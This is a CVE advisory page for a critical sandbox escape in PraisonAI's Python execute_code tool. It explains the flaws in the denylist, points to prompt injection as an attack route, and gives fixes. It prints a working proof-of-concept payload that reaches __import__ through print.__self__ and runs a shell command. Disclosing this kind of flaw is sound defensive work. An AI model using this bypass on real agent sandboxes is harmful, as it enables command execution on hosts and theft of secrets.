Loading...
Skip to main content

CVE-2026-47392 — Vulnerability in praisonai — CVE Details

CRITICAL

PraisonAI vulnerable to sandbox escape via `print.__self__` builtins module leak in `execute_code` (subprocess mode)

Published May 29, 2026Updated June 29, 2026Source: osv

Summary

## Summary `execute_code()` in `praisonaiagents/tools/python_tools.py` (v1.6.37, subprocess sandbox mode) can be fully bypassed using `print.__self__` to retrieve the real Python `builtins` module, from which `__import__` can be extracted via `vars()` and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox. This is a **novel bypass** that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (`type.__getattribute__` trampoline). --- ## Severity **CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical** --- ## Root Cause Three independent gaps in the AST-based security validation: ### Gap 1: `__self__` missing from `_blocked_attrs` In CPython, all built-in functions (C-level functions) have a `__self__` attribute that returns the module they belong to. The built-in functions in `safe_builtins` (`print`, `len`, `range`, etc.) are the *real* CPython built-in functions, so `print.__self__` returns `<module 'builtins' (built-in)>`. The `_blocked_attrs` frozenset (line 52) does NOT include `__self__`. The AST check at line 74 only blocks attributes that are IN this set, so `print.__self__` passes. ### Gap 2: `vars` not blocked as callable or attribute `builtins.vars(obj)` returns `obj.__dict__`. The function name `vars` is not in the AST `Call` blocklist (line 83: only blocks `exec`, `eval`, `compile`, `__import__`, `open`, `input`, `breakpoint`, `setattr`, `delattr`, `dir`). And `vars` is not in `_blocked_attrs` for attribute access. So `b.vars(b)` (where `b` is the builtins module) returns `builtins.__dict__` — a dict containing ALL built-in functions including `__import__`, `exec`, `eval`, `open`, etc. ### Gap 3: AST `Call` check only catches `ast.Name` nodes The dangerous-call check (line 82-88) only fires when `isinstance(func, ast.Name)` — i.e., bare-name calls like `exec(...)`. It does NOT catch: - Attribute calls: `b.exec(...)` — func is `ast.Attribute` - Subscript calls: `d["exec"](...)` — func is `ast.Subscript` ### Gap 4: Runtime string construction bypasses string constant check The string constant check (line 92-98) catches literals like `"__import__"`, but NOT runtime concatenation like `"_" + "_" + "import" + "_" + "_"`. The AST sees 5 separate `Constant` nodes (`"_"`, `"_"`, `"import"`, `"_"`, `"_"`), none of which contain any blocked attr as a substring. --- ## Proof of Concept ```python from praisonaiagents.tools.python_tools import execute_code # Exploit: 4 lines, bypasses ALL security layers payload = """ b = print.__self__ d = b.vars(b) key = "_" + "_" + "import" + "_" + "_" imp = d[key] mod = imp("os") print(mod.popen("id").read()) """ result = execute_code(code=payload) print(result) # Output: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...\n', 'stderr': '', 'success': True} ``` ### Step-by-step bypass analysis: | Line | AST node | Check | Result | |---|---|---|---| | `print.__self__` | `Attribute(attr='__self__')` | `__self__` in `_blocked_attrs`? | **NO** → passes | | `b.vars` | `Attribute(attr='vars')` | `vars` in `_blocked_attrs`? | **NO** → passes | | `b.vars(b)` | `Call(func=Attribute)` | `isinstance(func, ast.Name)`? | **NO** → passes | | `"_"`, `"import"` | `Constant(value=str)` | Contains blocked attr? | **NO** → passes | | `d[key]` | `Subscript` | Not checked | passes | | `imp("os")` | `Call(func=Name('imp'))` | `imp` in blocked calls? | **NO** → passes | **Result: Full sandbox escape → arbitrary command execution** --- ## Impact An attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can: - Execute arbitrary commands on the host system - Read/write any file accessible to the process - Exfiltrate environment variables, API keys, and credentials - Pivot to internal networks - Install persistent backdoors --- ## Affected - **Package**: `praisonaiagents` (PyPI) - **Affected versions**: All versions through 1.6.37 (latest) - **Component**: `praisonaiagents/tools/python_tools.py`, `_execute_code_sandboxed()` function - **Default configuration affected**: Yes (`sandbox_mode="sandbox"` is the default) --- ## Remediation ### Immediate fix Add `__self__` to `_blocked_attrs`: ```python _blocked_attrs = frozenset({ ..., '__self__', # Built-in functions leak their parent module }) ``` ### Additional hardening 1. Block `vars` in the callable blocklist 2. Extend the `ast.Call` check to also catch `ast.Attribute` and `ast.Subscript` function nodes 3. Add AST check for `BinOp` string concatenation that could construct blocked attr names ### Fundamental recommendation Denylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider: - Using `isolated-vm` (Node.js) or WebAssembly-based isolation - Using OS-level sandboxing (seccomp, namespaces, gVisor) - Removing in-process code execution entirely in favor of containerized execution

Advisory Timeline

  • First published May 29, 2026 (135 days ago).
  • Last revised June 29, 2026 — 31 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

pip
Update praisonai to 4.6.40 or later
pip install "praisonai>=4.6.40"
pip
Update praisonaiagents to 1.6.40 or later
pip install "praisonaiagents>=1.6.40"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (2)

Affects 1 ecosystem: pypi (2).

PackageEcosystemAffectedFixed In
praisonai
pypi
0.0.1, 0.0.10, 0.0.11, 0.0.12 (+727 more)4.6.40
praisonaiagents
pypi
0.0.1, 0.0.10, 0.0.100, 0.0.101 (+564 more)1.6.40

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.9 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-47392?
PraisonAI vulnerable to sandbox escape via `print.__self__` builtins module leak in `execute_code` (subprocess mode) This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.9/10).
How do I check if my project is affected by CVE-2026-47392?
CVE-2026-47392 affects praisonai and praisonaiagents. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-47392 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.9

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-4mr5-g6f9-cfrh
PYSEC-2026-463
PYSEC-2026-483

Related CVEs

  • CVE-2026-57127
    CRITICAL

    praisonai: recipe serve auth middleware silently disables itself when no secret is set

  • CVE-2026-57124
    CRITICAL

    PraisonAI: Missing Authentication for Critical Function and Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in praisonai

  • CVE-2026-57145
    CRITICAL

    PraisonAI: Arbitrary File Read/Write via `multiedit` Tool Without Path Validation

  • CVE-2026-61447
    CRITICAL

    PraisonAI: CodeAgent Executes LLM-Generated Code Without Sandboxing and Leaks All Environment Secrets

  • CVE-2026-39890
    CRITICAL

    PraisonAI Vulnerable to Remote Code Execution via YAML Deserialization in Agent Definition Loading

  • CVE-2026-57125
    CRITICAL

    PraisonAI: Unauthenticated RCE via Jobs API + Approval Bypass

  • CVE-2026-40289
    CRITICAL

    PraisonAI Browser Server allows unauthenticated WebSocket clients to hijack connected extension sessions

  • CVE-2026-40288
    CRITICAL

    PraisonAI has critical RCE via `type: job` workflow YAML

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies